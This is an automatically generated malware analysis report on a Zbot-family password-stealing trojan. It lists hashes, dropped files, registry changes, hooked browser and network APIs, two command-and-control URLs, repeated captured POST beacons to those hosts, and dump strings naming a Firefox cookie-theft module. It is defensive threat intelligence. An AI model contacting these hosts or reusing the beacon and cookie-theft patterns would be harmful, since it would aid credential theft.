Gen.Variant.Symmi.45261_dd6dfc29b1

by malwarelabrobot on September 6th, 2014 in Malware Descriptions.

Gen:Variant.Symmi.45261 (B) (Emsisoft), Gen:Variant.Symmi.45261 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: dd6dfc29b19abb42d56591139dfaf28f
SHA1: 41a5d4484dbb3e17e210133a999c811965212454
SHA256: 681fe350f1a1a24eb2fe89ed120163d1a2a8f87a6606519551f2bee8f1500268
SSDeep: 3072:95AilPcQvRkHc DIRot 2/tGUnh6xsQcbvysweGsqD0v4nO8IwLe3q7ywj:9LlPcM7RI/JoxO2EzgOLwLcKywj
Size: 235936 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandDelphi30, UPolyXv05_v6
Company: no certificate found
Created at: 2012-10-05 18:24:46
Analyzed on: WindowsXP SP3 32-bit


Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:912
omivi.exe:168

The Trojan injects its code into the following process(es):

Explorer.EXE:1684

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:912 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp1ef6c7cf.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Xifide\omivi.exe (235 bytes)

Registry activity

The process %original file name%.exe:912 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6D 6F 9D CF 63 A6 E6 5F 67 7B 77 D7 C0 5A 46 28"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Peily]
"Qeycx" = "CB 2B CD 3C A3 E3 36 D9 91 94 41 3D 7E 3E D8 12"

The process omivi.exe:168 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0B E4 A6 79 53 5A 8C 90 0C 77 88 0B FB 2C 7C AE"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
58ba0628ef8d084ddd8f86125699300d c:\Documents and Settings\"%CurrentUserName%"\Application Data\Xifide\omivi.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

VersionInfo

Company Name: VMware
Product Name:
Product Version: 3.0.6.9
Legal Copyright: (c) Panda 2008
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 9.4.7.0
File Description: Panda Interface Manager Application [Local and Mail Alerts]
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 14183 14336 4.91514 109f801f038cf6bf6e679dd877c1d05e
.data 20480 353880 190976 4.93855 1c264f5f4dc399243ccb929133bfa19b
.edata 376832 20965 7168 5.05682 23bcd1fe1da669b7f1f56366a3d716db
.rdata 401408 5100 5120 3.83365 4dd723f45c05546aaeda3c508972c114
.pdata 409600 8238448 2048 2.82467 bac9e07ce05677dfb8aeafbbb5430979
DATA 8650752 680 1024 2.70923 68c56d62a993a0e3956f1903d0dc7a62

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
4d6f734fd304f588aeee6dbb1facfb3b

URLs

URL IP
hxxp://46.105.143.222/ssdc32716372/file.php
hxxp://188.225.32.208/ssdc32716372/file.php


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Generic - POST To .php w/Extended ASCII Characters
ET TROJAN Generic -POST To file.php w/Extended ASCII Characters

Traffic

POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:28:58 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1500
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:28:58 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1499
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:01 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1498
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:01 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1497
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:03 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1496
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:03 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1495
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:06 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1494
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:06 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1493
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:08 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1492
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:08 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1491
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:11 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1490
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:11 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1489
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:13 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1488
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

../}.AU,.w[C.q...TNq..e......a.....vu^s..T..L..c 5...~..,. lp3=2.X..XY...8.....O.>.k..h......uJ........W [email protected].....!.....
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:13 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1487
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
o disable MSIE and Chrome friendly error page -->..<!-- a paddin
g to disable MSIE and Chrome friendly error page -->..<!-- a pad
ding to disable MSIE and Chrome friendly error page -->..<!-- a 
padding to disable MSIE and Chrome friendly error page -->..<!--
 a padding to disable MSIE and Chrome friendly error page -->..nt>....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

..}d...;.....".R{..&]
.E0gd...<...E@..?_....z~.....c/....I......%..z..z#E..8fM......DI..8U..r..x..e.Jn..U..>.....D|.L..........
HTTP/1.1 403 Forbidden
Date: Thu, 04 Sep 2014 22:29:16 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 570
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1486
Connection: Keep-Alive
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx/1.7.
3</center>..</body>..</html>..<!-- a padding to d
isable MSIE and Chrome friendly error page -->..<!-- a padding t
..



POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

R....A.k.f.SO..B....n>.v.TW.....5.vs..l..".IM....<P.....z.........I..I.v...U~..8.6.wz...f:=A..K .V<y?]..f..
<../.wO..2 .#  .3..
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Thu, 04 Sep 2014 22:33:18 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>...



POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

.0!O.6|.[<[..'.FY...,|.4A.....M.I.................y.Y....?......S....U3..N.;..}.s.2?..N#.x....e..y<z...9..Hy.Xj../.....Y
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Thu, 04 Sep 2014 22:33:15 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

.0!O.6|.[<[..'.FY...,|.4A.....M.I.................y.Y....?......S....U3..N.;..}.s.2?..N#.x....e..y<z...9..Hy.Xj../.....Y
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Thu, 04 Sep 2014 22:33:15 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

R....A.k.f.SO..B....n>.v.TW.....5.vs..l..".IM....<P.....z.........I..I.v...U~..8.6.wz...f:=A..K .V<y?]..f..
<../.wO..2 .#  .3..
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Thu, 04 Sep 2014 22:33:18 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_1684_rwx_01B50000_0003B000:

.text
`.data
.reloc
%s, u %s %u u:u:u GMT
HTTP/1.1
HTTP/1.0
hXXp://
; charset=%s
HTTP/1.1 %u %s
Date: %s
Content-Length: %u
Expires: %s
Content-Type: %s%s
ID: %s
value_%s
value_%s_%s
%s = "%s";
hXXps://
HTTP/1.
facebook.com
Cookie: %s
Referer: %s
Accept: %s
Accept-Language: %s
Accept-Encoding: %s
%s%s%s
%?$-5'1!
;=9?&<s?23297>{ )/'ci8`
->:0059>&
1,/*<:=32$
3.#70!2)
 6;/(9*1
ROEVREUCUejxyea.abzygm{Jnqui~l?,}SFQVMHHZ
R,.qVOYFHCJ
92$8':,?
38.2-0&5
  6*5(>-
Gjhseov.Xt~j2)/x
.{YITPût`
CWEB@T]GGO
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
_getFirefoxCookie
cit_ffcookie.module
cit_video.module
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://xxxxxxxx.com/xxxx/xxxx.php
update.exe
config.bin
SSShL
SSShwD
CreatePipe
GetProcessHeap
